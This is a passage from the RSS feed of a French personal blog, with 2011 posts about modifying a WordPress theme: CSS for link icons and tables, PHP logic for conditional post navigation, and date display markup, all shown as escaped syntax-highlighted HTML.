style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;#34;&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;padding-left&lt;/span&gt; : &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;px&lt;/span&gt;; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;span&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;style=&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;color&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;#800000&lt;/span&gt;;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;#34;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;background&lt;/span&gt; : url(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;images/lien.png&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;no-repeat&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;left&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;top&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;span&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pour appliquer la class CSS, ce fût parfois moins évident :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;pour les archives, il a fallut aller modifier la fonction utilisée pour le plugin PW_Archives (et donc le fichier PW_Archive.php).&lt;/li&gt;&#xA;&lt;li&gt;pour l&amp;rsquo;icône des liens : j&amp;rsquo;ai mis du temps à trouver le bon fichier à modifier (wp-includes/bookmark-template.php).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;les-tableaux&#34;&gt;Les tableaux&#xA;&lt;/h3&gt;&lt;p&gt;J&amp;rsquo;utilise rarement les tableaux, mais le style a été changé également. C&amp;rsquo;est en essayant un autre thème, &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/extend/themes/zbench&#34;  title=&#34;le thème zBench sur wordpress.org&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;zBench&lt;/a&gt;, que j&amp;rsquo;ai vu ce style, assez sobre, et donc aussitôt adopté.&lt;/p&gt;&#xA;&lt;p&gt;Et donc avant, on avait :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;style des tableaux avant modification&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1132px&#34; data-flex-grow=&#34;471&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/modification-du-theme-suite/tableau-avant.png&#34; width=&#34;500&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;et maintenant on aura :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;style des tableaux après modifications&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1002px&#34; data-flex-grow=&#34;417&#34; height=&#34;108&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/modification-du-theme-suite/tableau-apres.png&#34; width=&#34;451&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;la-navigation&#34;&gt;La navigation&#xA;&lt;/h3&gt;&lt;p&gt;J&amp;rsquo;ai gardé le meilleur pour la fin : la navigation&amp;hellip;Il s&amp;rsquo;agit soit d&amp;rsquo;afficher le nom de l&amp;rsquo;article suivant et précédent en haut de page lors de l&amp;rsquo;affichage d&amp;rsquo;un article particulier,&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;navigation entre articles&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2738px&#34; data-flex-grow=&#34;1140&#34; height=&#34;44&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/modification-du-theme-suite/navigationhaut.png&#34; width=&#34;502&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;soit d&amp;rsquo;afficher Articles suivants et Articles précédents en bas de page lorsque l&amp;rsquo;on parcours les articles.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;navigation d’une page à l’autre&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3886px&#34; data-flex-grow=&#34;1619&#34; height=&#34;31&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/modification-du-theme-suite/navigationbas.png&#34; width=&#34;502&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Je l&amp;rsquo;avais vu sur Suffusion, et légèrement adapté. Là aussi, on ajoute une icône à la place d&amp;rsquo;un simple caractère comme &lt;strong&gt;←&lt;/strong&gt; ou &lt;strong&gt;→&lt;/strong&gt;. Mais l&amp;rsquo;idée intéressante, c&amp;rsquo;est d&amp;rsquo;utiliser un tableau pour que l&amp;rsquo;affichage soit beaucoup plus propre lorsque les titres des articles sont longs : chacun reste ainsi de son côté sans se chevaucher, et c&amp;rsquo;est beaucoup plus lisible.&lt;/p&gt;&#xA;&lt;p&gt;Là où j&amp;rsquo;ai du me creuser la tête, c&amp;rsquo;est avec ce fameux tableau. Lorsque j&amp;rsquo;affichais les archives, par exemple les articles de mars 2011 (soit 5 articles), j&amp;rsquo;obtenais un tableau vide. En effet, dans ce cas, il n&amp;rsquo;y a pas de navigation à afficher en bas de page (j&amp;rsquo;autorise 10 articles et il n&amp;rsquo;y en a que 5)&amp;hellip; et même s&amp;rsquo;il n&amp;rsquo;y avait rien à afficher, la table était créée :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;table navigation vide&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;6693px&#34; data-flex-grow=&#34;2788&#34; height=&#34;18&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/modification-du-theme-suite/navigationvide.png&#34; width=&#34;502&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Tout se passe dans le fichier navigation.php, lorsqu&amp;rsquo;il est appelé par le fichier archive.php (ceci dépend du thème, les règles wordpress sont expliquées &lt;a class=&#34;link&#34; href=&#34;https://codex.wordpress.org/Category_Templates&#34;  title=&#34;Category templates sur wordpress.org&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ici&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Le fichier navigation.php était conçu comme ceci :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;logique du fichier navigation&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;212px&#34; data-flex-grow=&#34;88&#34; height=&#34;477&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/modification-du-theme-suite/navigationavant.png&#34; width=&#34;422&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Il a donc fallu ajouter un test supplémentaire, à savoir tester previous_posts_link et next_posts_link. S&amp;rsquo;ils sont tous les deux vides, il ne faut pas afficher de tableau.&lt;/p&gt;&#xA;&lt;p&gt;Pour ce faire, il faut utiliser get_previous_posts_link() et get_next_posts_link(). Si leur valeur est nulle, alors pas besoin de navigation. La logique devient donc celle-ci :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;logique du fichier navigation&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;151px&#34; data-flex-grow=&#34;63&#34; height=&#34;638&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/modification-du-theme-suite/navigationapres.png&#34; width=&#34;403&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Voilà ce que donne le code :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;!--&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;on&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;initialise&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;variables&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;pour&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;savoir&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;s&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;il y aura d&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;autre&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;articles&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;--&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt; $nextpost &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;get_next_posts_link&lt;/span&gt;()) &lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;?php $prevpost = (get_previous_posts_link()) ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;?php if (is_single()) : ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;div class=&amp;#34;post-nav&amp;#34;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&amp;lt;table&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&amp;lt;tr&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&amp;lt;td class=&amp;#34;previous&amp;#34;&amp;gt;&amp;lt;?php previous_post_link(&amp;#39;%link&amp;#39;) ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&amp;lt;td class=&amp;#34;next&amp;#34;&amp;gt;&amp;lt;?php next_post_link(&amp;#39;%link&amp;#39;) ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&amp;lt;/tr&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&amp;lt;/table&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;/div&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;div class=&amp;#34;clear whitespace1&amp;#34;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;!-- s&amp;#39;il y a des articles, il faut afficher les liens de navigation avant/après --&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;!-- il faut tester les 2 cas, l&amp;#39;un OU l&amp;#39;autre suffisent --&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;?php elseif ($nextpost != &amp;#39;&amp;#39; || $prevpost != &amp;#39;&amp;#39;)  : ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;div class=&amp;#34;post-nav&amp;#34;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&amp;lt;table&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&amp;lt;tr&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&amp;lt;td class=&amp;#34;previous&amp;#34;&amp;gt;&amp;lt;?php next_posts_link(&amp;#39;Articles précédents&amp;#39;) ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&amp;lt;td class=&amp;#34;next&amp;#34;&amp;gt;&amp;lt;?php previous_posts_link(&amp;#39;Articles suivants&amp;#39;) ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&amp;lt;/tr&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&amp;lt;/table&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;/div&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;div class=&amp;#34;clear flat&amp;#34;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;!-- il n&amp;#39;y a plus d&amp;#39;articles, on affiche le message --&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;?php else : ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;div class=&amp;#34;post-nav&amp;#34;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&amp;lt;table&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&amp;lt;tr&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&#x9;&amp;lt;td class=&amp;#34;center&amp;#34;&amp;gt;-=- Il n&amp;#39;y a pas d&amp;#39;autres articles correspondants -=-&amp;lt;/td&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&#x9;&amp;lt;/tr&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#x9;&amp;lt;/table&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;/div&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;J&amp;rsquo;en suis plutôt content, parce j&amp;rsquo;ai trouvé ça tout seul&amp;hellip; Dans ce cas, la solution de facilité est de poser la question sur un forum php ou wordpress, puis d&amp;rsquo;attendre de l&amp;rsquo;aide&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Grâce au wiki wordpress, j&amp;rsquo;ai pu trouver quelles fonctions utiliser pour tester la condition de navigation. Puis les tutoriaux php (les tutoriaux du &lt;a class=&#34;link&#34; href=&#34;http://www.siteduzero.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;site du zéro&lt;/a&gt; sont vraiment bien faits) pour utiliser &lt;strong&gt;IF/ELSEIF/ELSE&lt;/strong&gt; pour effectuer les conditions. C&amp;rsquo;était le plus dur, au début je cherchais à imbriquer une autre boucle &lt;strong&gt;IF/ELSE&lt;/strong&gt; et je me battais avec les problèmes de syntaxe&amp;hellip; sans succès. Mais je me suis accroché !&lt;/p&gt;&#xA;&lt;p&gt;Évidement, quand ça se met à fonctionner comme on le souhaite, on est très content&amp;hellip; :-)&lt;/p&gt;&#xA;&lt;p&gt;Bon voilà, j&amp;rsquo;ai encore quelques idées de petits changement pour le thème touchant la présentation, puis je me pencherai sur la manière de créer un menu sans que le thème soir prévu pour.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Modification du thème</title>
            <link>https://pled.fr/modification-du-theme/</link>
            <pubDate>Wed, 18 May 2011 17:52:05 +0000</pubDate>
            <guid>https://pled.fr/modification-du-theme/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;le plugin wp-dtree en action&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;wp-dtree.png#floatleft&#34;&gt; Suite à l&amp;rsquo;impossibilité d&amp;rsquo;installer le thème Suffusion pourtant longuement préparé (voir &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=4240&#34;  title=&#34;article sur l&amp;#39;abandon du thème Suffusion&#34;&#xA;    &gt;cet article&lt;/a&gt;), et une fois renseignements pris (chez Free, la mémoire étant limitée à 32Mo, il est plus que recommandé de garder un thème assez basique), je me suis dit que je pouvais garder mon thème actuel mais que rien ne m&amp;rsquo;empêchait de le transformer à nouveau.&lt;/p&gt;&#xA;&lt;p&gt;De plus, après la mise à jour en Wordpress 3.1.2, j&amp;rsquo;avais des difficultés à réactiver le plugin &lt;strong&gt;WP-dTree&lt;/strong&gt; (ci-contre), qui affichait les catégories et les archives sous forme d&amp;rsquo;arborescence dynamique : un plugin très bien fait, élégant, mais un peu gourmand et qui ralentissait d&amp;rsquo;ailleurs le temps d&amp;rsquo;affichage de la page d&amp;rsquo;accueil du blog. Adieu donc le beau WP-dTree ! :-(&lt;/p&gt;&#xA;&lt;p&gt;Et j&amp;rsquo;ai donc commencé à modifier petit à petit le thème existant pour le faire ressembler à ce que j&amp;rsquo;avais obtenu avec Suffusion. Voilà donc les modifications déjà apportées (il en reste, cela fera l&amp;rsquo;objet d&amp;rsquo;autres articles).&lt;/p&gt;&#xA;&lt;h3 id=&#34;date-des-articles&#34;&gt;Date des articles&#xA;&lt;/h3&gt;&lt;p&gt;Le plus visible pour l&amp;rsquo;instant, c&amp;rsquo;est le changement d&amp;rsquo;affichage de la date pour chaque article. Là j&amp;rsquo;ai simplement récupéré l&amp;rsquo;image de fond utilisée par Suffusion (en l&amp;rsquo;éclaircissant un peu), puis le code css correspondant. Ensuite il ne restait plus qu&amp;rsquo;à modifier les fichiers du thème qui l&amp;rsquo;utilisent (index.php, search.php et archive.php), comme suit :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;class&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;date&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;span&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;class&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;month&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;span&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;class&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;day&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;span&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;class&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;year&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;div&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;colonne-de-gauche&#34;&gt;Colonne de gauche&#xA;&lt;/h3&gt;&lt;p&gt;Puis il donc fallu réorganiser complètement la colonne de gauche, puisque WP-dTree n&amp;rsquo;était plus possible. La liste des archives étant très longue, je l&amp;rsquo;ai déplacée tout en bas. Puis j&amp;rsquo;ai ajouté une section &amp;ldquo;Les 10 derniers articles&amp;rdquo;. Enfin, l&amp;rsquo;affichage des catégories (et des archives) entraînaient un autre petit changement. Voyons tout cela.&lt;/p&gt;&#xA;&lt;h3 id=&#34;10-derniers-articles&#34;&gt;10 derniers articles&#xA;&lt;/h3&gt;&lt;p&gt;Pour ce faire, pas besoin de plugin, le code suivant suffit :&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-markup&#34; data-lang=&#34;markup&#34;&gt;&amp;lt;h2&amp;gt;10 derniers articles&amp;lt;/h2&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;&#x9;$args = array(&#xA;&#x9;&amp;#39;numberposts&amp;#39; =&amp;gt; 